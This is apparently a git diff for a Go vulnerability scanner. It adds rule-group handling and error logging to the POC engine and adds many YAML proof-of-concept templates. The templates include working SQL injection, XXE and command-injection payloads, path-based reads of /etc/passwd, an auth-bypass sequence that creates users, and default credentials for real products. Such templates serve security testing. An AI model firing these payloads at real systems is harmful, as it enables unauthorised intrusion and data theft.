mode 100644 WebScan/pocs/nagio-cve-2018-10738.yml create mode 100644 WebScan/pocs/natshell-arbitrary-file-read.yml create mode 100644 WebScan/pocs/netentsec-icg-default-password.yml create mode 100644 WebScan/pocs/netgear-cve-2017-5521.yml create mode 100644 WebScan/pocs/nextjs-cve-2017-16877.yml create mode 100644 WebScan/pocs/nexusdb-cve-2020-24571-path-traversal.yml create mode 100644 WebScan/pocs/nhttpd-cve-2019-16278.yml create mode 100644 WebScan/pocs/node-red-dashboard-file-read-cve-2021-3223.yml create mode 100644 WebScan/pocs/novnc-url-redirection-cve-2021-3654.yml create mode 100644 WebScan/pocs/nps-default-password.yml create mode 100644 WebScan/pocs/ns-asg-file-read.yml create mode 100644 WebScan/pocs/nsfocus-uts-password-leak.yml create mode 100644 WebScan/pocs/nuuo-file-inclusion.yml create mode 100644 WebScan/pocs/odoo-file-read.yml create mode 100644 WebScan/pocs/openfire-cve-2019-18394-ssrf.yml create mode 100644 WebScan/pocs/opentsdb-cve-2020-35476-rce.yml create mode 100644 WebScan/pocs/panabit-gateway-default-password.yml create mode 100644 WebScan/pocs/panabit-ixcache-default-password.yml create mode 100644 WebScan/pocs/pandorafms-cve-2019-20224-rce.yml create mode 100644 WebScan/pocs/pbootcms-database-file-download.yml create mode 100644 WebScan/pocs/php-cgi-cve-2012-1823.yml create mode 100644 WebScan/pocs/phpcms-cve-2018-19127.yml create mode 100644 WebScan/pocs/phpok-sqli.yml create mode 100644 WebScan/pocs/phpshe-sqli.yml create mode 100644 WebScan/pocs/phpstudy-nginx-wrong-resolve.yml create mode 100644 WebScan/pocs/phpunit-cve-2017-9841-rce.yml create mode 100644 WebScan/pocs/powercreator-arbitrary-file-upload.yml create mode 100644 WebScan/pocs/prometheus-url-redirection-cve-2021-29622.yml create mode 100644 WebScan/pocs/pulse-cve-2019-11510.yml create mode 100644 WebScan/pocs/pyspider-unauthorized-access.yml create mode 100644 WebScan/pocs/qibocms-sqli.yml create mode 100644 WebScan/pocs/qilin-bastion-host-rce.yml create mode 100644 WebScan/pocs/qnap-cve-2019-7192.yml create mode 100644 WebScan/pocs/rabbitmq-default-password.yml create mode 100644 WebScan/pocs/rails-cve-2018-3760-rce.yml create mode 100644 WebScan/pocs/razor-cve-2018-8770.yml create mode 100644 WebScan/pocs/rconfig-cve-2019-16663.yml create mode 100644 WebScan/pocs/resin-cnnvd-200705-315.yml create mode 100644 WebScan/pocs/resin-inputfile-fileread-or-ssrf.yml create mode 100644 WebScan/pocs/resin-viewfile-fileread.yml create mode 100644 WebScan/pocs/ruijie-eg-cli-rce.yml create mode 100644 WebScan/pocs/ruijie-eg-file-read.yml delete mode 100644 WebScan/pocs/ruijie-eg-rce.yml create mode 100644 WebScan/pocs/ruoyi-management-fileread.yml create mode 100644 WebScan/pocs/saltstack-cve-2020-16846.yml create mode 100644 WebScan/pocs/samsung-wea453e-default-pwd.yml create mode 100644 WebScan/pocs/samsung-wea453e-rce.yml create mode 100644 WebScan/pocs/samsung-wlan-ap-wea453e-rce.yml create mode 100644 WebScan/pocs/sangfor-ba-rce.yml create mode 100644 WebScan/pocs/satellian-cve-2020-7980-rce.yml create mode 100644 WebScan/pocs/seacms-before-v992-rce.yml create mode 100644 WebScan/pocs/seacms-rce.yml create mode 100644 WebScan/pocs/seacms-sqli.yml create mode 100644 WebScan/pocs/seacms-v654-rce.yml create mode 100644 WebScan/pocs/seacmsv645-command-exec.yml create mode 100644 WebScan/pocs/secnet-ac-default-password.yml create mode 100644 WebScan/pocs/seeyon-wooyun-2015-0108235-sqli.yml create mode 100644 WebScan/pocs/seeyon-wooyun-2015-148227.yml create mode 100644 WebScan/pocs/shiziyu-cms-apicontroller-sqli.yml create mode 100644 WebScan/pocs/shopxo-cnvd-2021-15822.yml create mode 100644 WebScan/pocs/showdoc-default-password.yml create mode 100644 WebScan/pocs/skywalking-cve-2020-9483-sqli.yml create mode 100644 WebScan/pocs/solarwinds-cve-2020-10148.yml create mode 100644 WebScan/pocs/solr-cve-2017-12629-xxe.yml create mode 100644 WebScan/pocs/solr-fileread.yml delete mode 100644 WebScan/pocs/solr-fileread1.yml delete mode 100644 WebScan/pocs/solr-fileread2.yml create mode 100644 WebScan/pocs/sonarqube-cve-2020-27986-unauth.yml create mode 100644 WebScan/pocs/spark-api-unauth.yml create mode 100644 WebScan/pocs/spark-webui-unauth.yml create mode 100644 WebScan/pocs/spon-ip-intercom-ping-rce.yml delete mode 100644 WebScan/pocs/spring-heapdump-file.yml delete mode 100644 WebScan/pocs/springboot-env-unauth2.yml delete mode 100644 WebScan/pocs/struts2-045-1.yml delete mode 100644 WebScan/pocs/struts2-045-2.yml create mode 100644 WebScan/pocs/struts2-045.yml create mode 100644 WebScan/pocs/supervisord-cve-2017-11610.yml delete mode 100644 WebScan/pocs/swagger-ui-unauth-No1.yml delete mode 100644 WebScan/pocs/swagger-ui-unauth-No2.yml delete mode 100644 WebScan/pocs/swagger-ui-unauth-No3.yml delete mode 100644 WebScan/pocs/swagger-ui-unauth-No4.yml delete mode 100644 WebScan/pocs/swagger-ui-unauth-No5.yml delete mode 100644 WebScan/pocs/swagger-ui-unauth-No6.yml delete mode 100644 WebScan/pocs/swagger-ui-unauth-No7.yml delete mode 100644 WebScan/pocs/swagger-ui-unauth-No8.yml create mode 100644 WebScan/pocs/swagger-ui-unauth.yml create mode 100644 WebScan/pocs/tamronos-iptv-rce.yml create mode 100644 WebScan/pocs/telecom-gateway-default-password.yml create mode 100644 WebScan/pocs/tensorboard-unauth.yml create mode 100644 WebScan/pocs/terramaster-cve-2020-15568.yml create mode 100644 WebScan/pocs/terramaster-tos-rce-cve-2020-28188.yml create mode 100644 WebScan/pocs/tpshop-directory-traversal.yml create mode 100644 WebScan/pocs/tpshop-sqli.yml create mode 100644 WebScan/pocs/tvt-nvms-1000-file-read-cve-2019-20085.yml create mode 100644 WebScan/pocs/typecho-rce.yml create mode 100644 WebScan/pocs/uwsgi-cve-2018-7490.yml create mode 100644 WebScan/pocs/vbulletin-cve-2019-16759-bypass.yml create mode 100644 WebScan/pocs/vbulletin-cve-2019-16759.yml delete mode 100644 WebScan/pocs/vengd-upload-rce.yml delete mode 100644 WebScan/pocs/vmware-vcenter-arbitrary-file-read2.yml delete mode 100644 WebScan/pocs/weaver-ebridge-file-read-linux.yml delete mode 100644 WebScan/pocs/weaver-ebridge-file-read-windows.yml create mode 100644 WebScan/pocs/weaver-ebridge-file-read.yml delete mode 100644 WebScan/pocs/weaver-ecology-sqli.yml delete mode 100644 WebScan/pocs/weaver-ecology-workflowservicexml-2.yml delete mode 100644 WebScan/pocs/weaver-ecology-workflowservicexml.yml create mode 100644 WebScan/pocs/weblogic-cve-2017-10271.yml delete mode 100644 WebScan/pocs/weblogic-v10-cve-2017-10271.yml delete mode 100644 WebScan/pocs/weblogic-v12-cve-2019-2725.yml create mode 100644 WebScan/pocs/weiphp-path-traversal.yml create mode 100644 WebScan/pocs/weiphp-sql.yml create mode 100644 WebScan/pocs/wifisky-default-password-cnvd-2021-39012.yml create mode 100644 WebScan/pocs/wuzhicms-v410-sqli.yml create mode 100644 WebScan/pocs/xdcms-sql.yml create mode 100644 WebScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml create mode 100644 WebScan/pocs/xunchi-cnvd-2020-23735-file-read.yml create mode 100644 WebScan/pocs/yapi-rce.yml create mode 100644 WebScan/pocs/yccms-rce.yml delete mode 100644 WebScan/pocs/yongyou-erp-nc-directory-traversal.yml create mode 100644 WebScan/pocs/yonyou-nc-bsh-servlet-bshservlet-rce.yml create mode 100644 WebScan/pocs/youphptube-encoder-cve-2019-5127.yml create mode 100644 WebScan/pocs/youphptube-encoder-cve-2019-5128.yml create mode 100644 WebScan/pocs/youphptube-encoder-cve-2019-5129.yml create mode 100644 WebScan/pocs/yungoucms-sqli.yml create mode 100644 WebScan/pocs/zcms-v3-sqli.yml create mode 100644 WebScan/pocs/zeit-nodejs-cve-2020-5284-directory-traversal.yml create mode 100644 WebScan/pocs/zeroshell-cve-2019-12725-rce.yml create mode 100644 WebScan/pocs/zimbra-cve-2019-9670-xxe.yml create mode 100644 WebScan/pocs/zzcms-zsmanage-sqli.yml diff --git a/Plugins/redis.go b/Plugins/redis.go index c94dbde..0223620 100644 --- a/Plugins/redis.go +++ b/Plugins/redis.go @@ -45,10 +45,14 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) + defer func() { + if conn != nil{ + conn.Close() + } + }() if err != nil { return flag, err } - defer conn.Close() err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second)) if err != nil { return flag, err @@ -81,10 +85,14 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) { flag = false realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) + defer func() { + if conn != nil{ + conn.Close() + } + }() if err != nil { return flag, err } - defer conn.Close() err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)*time.Second)) if err != nil { return flag, err diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 0a20b1c..2ed7b27 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -38,7 +38,7 @@ func Scan(info common.HostInfo) { fmt.Println("start vulscan") for _, targetIP := range AlivePorts { info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1] - if info.Scantype == "all" { + if info.Scantype == "all" || info.Scantype == "main"{ switch { case info.Ports == "445": //AddScan(info.Ports, info, ch, &wg) //smb diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index 98cbfbc..a38a583 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -121,17 +121,17 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er } } - res, err := http.NewRequest("GET", Url, nil) + req, err := http.NewRequest("GET", Url, nil) if err == nil { - res.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") - res.Header.Set("Accept", "*/*") - res.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") + req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") + req.Header.Set("Accept", "*/*") + req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") if common.Pocinfo.Cookie != "" { - res.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) + req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) } else { - res.Header.Set("Cookie", "rememberMe=1") + req.Header.Set("Cookie", "rememberMe=1") } - res.Header.Set("Connection", "close") + req.Header.Set("Connection", "close") var client *http.Client if flag == 1 { @@ -140,7 +140,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er client = lib.Client } - resp, err := client.Do(res) + resp, err := client.Do(req) if err == nil { defer resp.Body.Close() var title string diff --git a/WebScan/lib/check.go b/WebScan/lib/check.go index b8b13e2..31a2f12 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/check.go @@ -32,9 +32,9 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string for i := 0; i < workers; i++ { go func() { for task := range tasks { - isVul, _ := executePoc(task.Req, task.Poc) + isVul, _ ,name:= executePoc(task.Req, task.Poc) if isVul { - result := fmt.Sprintf("[+] %s %s", task.Req.URL, task.Poc.Name) + result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name,name) common.LogSuccess(result) } wg.Done() @@ -53,7 +53,7 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string close(tasks) } -func executePoc(oReq *http.Request, p *Poc) (bool, error) { +func executePoc(oReq *http.Request, p *Poc) (bool, error,string) { c := NewEnvOption() c.UpdateCompileOptions(p.Set) if len(p.Sets) > 0 { @@ -65,13 +65,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) { } env, err := NewEnv(&c) if err != nil { - //fmt.Printf("environment creation error: %s\n", err) - return false, err + fmt.Printf("[-] %s environment creation error: %s\n",p.Name,err) + return false, err, "" } req, err := ParseRequest(oReq) if err != nil { - //fmt.Println("ParseRequest error",err) - return false, err + fmt.Printf("[-] %s ParseRequest error: %s\n",p.Name,err) + return false, err, "" } variableMap := make(map[string]interface{}) variableMap["request"] = req @@ -119,7 +119,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) { out, err := Evaluate(env, p.Set["payload"], variableMap) if err != nil { //fmt.Println(p.Name," poc_payload error",err) - return false, err + return false, err, "" } variableMap["payload"] = fmt.Sprintf("%v", out) } @@ -153,14 +153,21 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) { } success := false + //爆破模式,比如tomcat弱口令 if setslen > 0 { if haspayload { success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys) } else { success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys) } - } else { - for _, rule := range p.Rules { + return success, nil, "" + } + + + DealWithRule := func(rule Rules) (bool, error) { + var ( + flag, ok bool + ) for k1, v1 := range variableMap { _, isMap := v1.(map[string]string) if isMap { @@ -201,7 +208,6 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) { for k, v := range result { variableMap[k] = v } - //return false, nil } else { return false, nil } @@ -211,14 +217,44 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) { return false, err } //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) - if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule - success = false // 如果最后一步执行失败，就算前面成功了最终依旧是失败 + //如果false不继续执行后续rule + // 如果最后一步执行失败，就算前面成功了最终依旧是失败 + flag, ok = out.Value().(bool) + if !ok { + flag = false + } + return flag, nil + } + + DealWithRules := func(rules []Rules) bool { + successFlag := false + for _, rule := range rules { + flag, err := DealWithRule(rule) + //if err != nil { + // fmt.Printf("[-] %s Execute Rule error: %s\n",p.Name,err.Error()) + //} + + if err != nil || !flag { //如果false不继续执行后续rule + successFlag = false // 如果其中一步为flag，则直接break break } - success = true + successFlag = true + } + return successFlag + } + + if len(p.Rules) > 0 { + success = DealWithRules(p.Rules) + } else { // Groups + for name, rules := range p.Groups { + success = DealWithRules(rules) + if success { + return success, nil, name + } } } - return success, nil + + return success, nil, "" } func doSearch(re string, body string) map[string]string { @@ -308,7 +344,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, } rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1) rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) - success, err = clustersend(oReq, variableMap, req, env, rule) + success, err = clustersend(oReq, variableMap, req, env, rule1) if err != nil { return false, err } @@ -334,7 +370,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1) rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2) rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2) - success, err = clustersend(oReq, variableMap, req, env, rule) + success, err = clustersend(oReq, variableMap, req, env, rule1) if err != nil { return false, err } diff --git a/WebScan/lib/http.pb.go b/WebScan/lib/http.pb.go index 1c36c53..c767624 100644 --- a/WebScan/lib/http.pb.go +++ b/WebScan/lib/http.pb.go @@ -5,13 +5,40 @@ package lib import ( "embed" - fmt "fmt" - proto "github.com/golang/protobuf/proto" + "fmt" + "github.com/golang/protobuf/proto" "gopkg.in/yaml.v3" - math "math" + "math" "strings" ) +type Poc struct { + Name string `yaml:"name"` + Set map[string]string `yaml:"set"` + Sets map[string][]string `yaml:"sets"` + Rules []Rules `yaml:"rules"` + Groups map[string][]Rules `yaml:"groups"` + Detail Detail `yaml:"detail"` +} + +type Rules struct { + Method string `yaml:"method"` + Path string `yaml:"path"` + Headers map[string]string `yaml:"headers"` + Body string `yaml:"body"` + Search string `yaml:"search"` + FollowRedirects bool `yaml:"follow_redirects"` + Expression string `yaml:"expression"` +} + +type Detail struct { + Author string `yaml:"author"` + Links []string `yaml:"links"` + Description string `yaml:"description"` + Version string `yaml:"version"` +} + + // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf @@ -356,36 +383,15 @@ var fileDescriptor_11b04836674e6f94 = []byte{ 0xff, 0xff, 0x2a, 0xe0, 0x6d, 0x45, 0x24, 0x03, 0x00, 0x00, } -type Poc struct { - Name string `yaml:"name"` - Set map[string]string `yaml:"set"` - Sets map[string][]string `yaml:"sets"` - Rules []Rules `yaml:"rules"` - Detail Detail `yaml:"detail"` -} -type Rules struct { - Method string `yaml:"method"` - Path string `yaml:"path"` - Headers map[string]string `yaml:"headers"` - Body string `yaml:"body"` - Search string `yaml:"search"` - FollowRedirects bool `yaml:"follow_redirects"` - Expression string `yaml:"expression"` -} - -type Detail struct { - Author string `yaml:"author"` - Links []string `yaml:"links"` - Description string `yaml:"description"` - Version string `yaml:"version"` -} func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { var pocs []*Poc for _, f := range SelectPoc(Pocs, pocname) { if p, err := loadPoc(f, Pocs); err == nil { pocs = append(pocs, p) + }else { + fmt.Println("[-] load poc ",f," error:",err) } } return pocs diff --git a/WebScan/pocs/74cms-sqli-1.yml b/WebScan/pocs/74cms-sqli-1.yml new file mode 100644 index 0000000..0b1d6aa --- /dev/null +++ b/WebScan/pocs/74cms-sqli-1.yml @@ -0,0 +1,16 @@ +name: poc-yaml-74cms-sqli-1 +set: + rand: randomInt(200000000, 210000000) +rules: + - method: POST + path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce= + headers: + Content-Type: 'text/xml' + body: ]>&test;111112331%' union select md5({{rand}})# + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: betta(https://github.com/betta-cyber) + links: + - https://www.uedbox.com/post/29340 diff --git a/WebScan/pocs/74cms-sqli-2.yml b/WebScan/pocs/74cms-sqli-2.yml new file mode 100644 index 0000000..ed6f4ae --- /dev/null +++ b/WebScan/pocs/74cms-sqli-2.yml @@ -0,0 +1,12 @@ +name: poc-yaml-74cms-sqli-2 +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23 + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: rexus + links: + - https://www.uedbox.com/post/30019/ diff --git a/WebScan/pocs/74cms-sqli.yml b/WebScan/pocs/74cms-sqli.yml new file mode 100644 index 0000000..cff0f68 --- /dev/null +++ b/WebScan/pocs/74cms-sqli.yml @@ -0,0 +1,10 @@ +name: poc-yaml-74cms-sqli +rules: + - method: GET + path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a + expression: | + response.body.bcontains(b"ef775988943825d2871e1cfa75473ec") +detail: + author: jinqi + links: + - https://www.t00ls.net/articles-54436.html diff --git a/WebScan/pocs/active-directory-certsrv-detect.yml b/WebScan/pocs/active-directory-certsrv-detect.yml new file mode 100644 index 0000000..edf2dda --- /dev/null +++ b/WebScan/pocs/active-directory-certsrv-detect.yml @@ -0,0 +1,11 @@ +name: poc-yaml-active-directory-certsrv-detect +rules: + - method: GET + path: /certsrv/certrqad.asp + follow_redirects: false + expression: | + response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM") +detail: + author: AgeloVito + links: + - https://www.cnblogs.com/EasonJim/p/6859345.html diff --git a/WebScan/pocs/airflow-unauth.yml b/WebScan/pocs/airflow-unauth.yml new file mode 100644 index 0000000..43b8ce7 --- /dev/null +++ b/WebScan/pocs/airflow-unauth.yml @@ -0,0 +1,10 @@ +name: poc-yaml-airflow-unauth +rules: + - method: GET + path: /admin/ + expression: | + response.status == 200 && response.body.bcontains(b"Airflow - DAGs") && response.body.bcontains(b"

DAGs

") +detail: + author: pa55w0rd(www.pa55w0rd.online/) + links: + - http://airflow.apache.org/ diff --git a/WebScan/pocs/alibaba-canal-default-password.yml b/WebScan/pocs/alibaba-canal-default-password.yml new file mode 100644 index 0000000..bee4b21 --- /dev/null +++ b/WebScan/pocs/alibaba-canal-default-password.yml @@ -0,0 +1,19 @@ +name: poc-yaml-alibaba-canal-default-password +rules: + - method: POST + path: /api/v1/user/login + expression: | + response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login") + - method: POST + path: /api/v1/user/login + headers: + Content-Type: application/json + body: >- + {"username":"admin","password":"123456"} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"") +detail: + author: jweny(https://github.com/jweny) + links: + - https://www.cnblogs.com/xiexiandong/p/12888582.html diff --git a/WebScan/pocs/alibaba-nacos-api-unauth.yml b/WebScan/pocs/alibaba-nacos-api-unauth.yml deleted file mode 100644 index 52512fb..0000000 --- a/WebScan/pocs/alibaba-nacos-api-unauth.yml +++ /dev/null @@ -1,15 +0,0 @@ -name: poc-yaml-alibaba-nacos-api-unauth -rules: - - method: GET - path: /nacos/v1/auth/users?pageNo=1&pageSize=9 - headers: - User-Agent: Nacos-Server - follow_redirects: true - expression: | - response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password")) -detail: - author: AgeloVito - info: alibaba-nacos-api-unauth - login: nacos/nacos - links: - - https://blog.csdn.net/caiqiiqi/article/details/112005424 diff --git a/WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml b/WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml new file mode 100644 index 0000000..4effabc --- /dev/null +++ b/WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml @@ -0,0 +1,27 @@ +name: poc-yaml-alibaba-nacos-v1-auth-bypass +set: + r1: randomLowercase(16) + r2: randomLowercase(16) +rules: + - method: POST + path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}" + headers: + User-Agent: Nacos-Server + expression: | + response.status == 200 && response.body.bcontains(bytes("create user ok!")) + - method: GET + path: "/nacos/v1/auth/users?pageNo=1&pageSize=999" + headers: + User-Agent: Nacos-Server + expression: | + response.status == 200 && response.body.bcontains(bytes(r1)) + - method: DELETE + path: "/nacos/v1/auth/users?username={{r1}}" + headers: + User-Agent: Nacos-Server + expression: | + response.status == 200 && response.body.bcontains(bytes("delete user ok!")) +detail: + author: kmahyyg(https://github.com/kmahyyg) + links: + - https://github.com/alibaba/nacos/issues/4593 diff --git a/WebScan/pocs/amtt-hiboss-server-ping-rce.yml b/WebScan/pocs/amtt-hiboss-server-ping-rce.yml new file mode 100644 index 0000000..b833f41 --- /dev/null +++ b/WebScan/pocs/amtt-hiboss-server-ping-rce.yml @@ -0,0 +1,18 @@ +name: poc-yaml-amtt-hiboss-server-ping-rce +set: + r2: randomLowercase(10) +rules: + - method: GET + path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"">../../{{r2}}.php&id=1 + expression: | + response.status == 200 && response.body.bcontains(b"parent.doTestResult") + - method: GET + path: /{{r2}}.php + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r2))) + +detail: + author: YekkoY + description: "安美数字-酒店宽带运营系统-远程命令执行漏洞" + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html diff --git a/WebScan/pocs/apache-ambari-default-password.yml b/WebScan/pocs/apache-ambari-default-password.yml new file mode 100644 index 0000000..c3337b8 --- /dev/null +++ b/WebScan/pocs/apache-ambari-default-password.yml @@ -0,0 +1,11 @@ +name: poc-yaml-apache-ambari-default-password +rules: + - method: GET + path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name + headers: + Authorization: Basic YWRtaW46YWRtaW4= + expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR") +detail: + author: wulalalaaa(https://github.com/wulalalaaa) + links: + - https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide diff --git a/WebScan/pocs/apache-druid-cve-2021-36749.yml b/WebScan/pocs/apache-druid-cve-2021-36749.yml new file mode 100644 index 0000000..5ba40f8 --- /dev/null +++ b/WebScan/pocs/apache-druid-cve-2021-36749.yml @@ -0,0 +1,24 @@ +name: poc-yaml-apache-druid-cve-2021-36749 +manual: true +transport: http +groups: + druid1: + - method: POST + path: /druid/indexer/v1/sampler?for=connect + headers: + Content-Type: application/json;charset=utf-8 + body: | + {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}} + expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body) + druid2: + - method: POST + path: /druid/indexer/v1/sampler?for=connect + headers: + Content-Type: application/json;charset=utf-8 + body: | + {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}} + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support") +detail: + author: iak3ec(https://github.com/nu0l) + links: + - https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w diff --git a/WebScan/pocs/apache-flink-upload-rce.yml b/WebScan/pocs/apache-flink-upload-rce.yml index 6be7ca6..8ea773c 100644 --- a/WebScan/pocs/apache-flink-upload-rce.yml +++ b/WebScan/pocs/apache-flink-upload-rce.yml @@ -7,8 +7,7 @@ rules: path: /jars follow_redirects: true expression: > - response.status == 200 && response.content_type.contains("json") && - response.body.bcontains(b"address") && response.body.bcontains(b"files") + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files") - method: POST path: /jars/upload headers: @@ -23,8 +22,7 @@ rules: follow_redirects: true expression: > - response.status == 200 && response.content_type.contains("json") && - response.body.bcontains(b"success") && response.body.bcontains(bytes(r2)) + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2)) search: >- (?P([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar)) - method: DELETE diff --git a/WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml b/WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml new file mode 100644 index 0000000..387129e --- /dev/null +++ b/WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml @@ -0,0 +1,12 @@ +name: poc-yaml-apache-httpd-cve-2021-40438-ssrf +manual: true +transport: http +rules: + - method: GET + path: 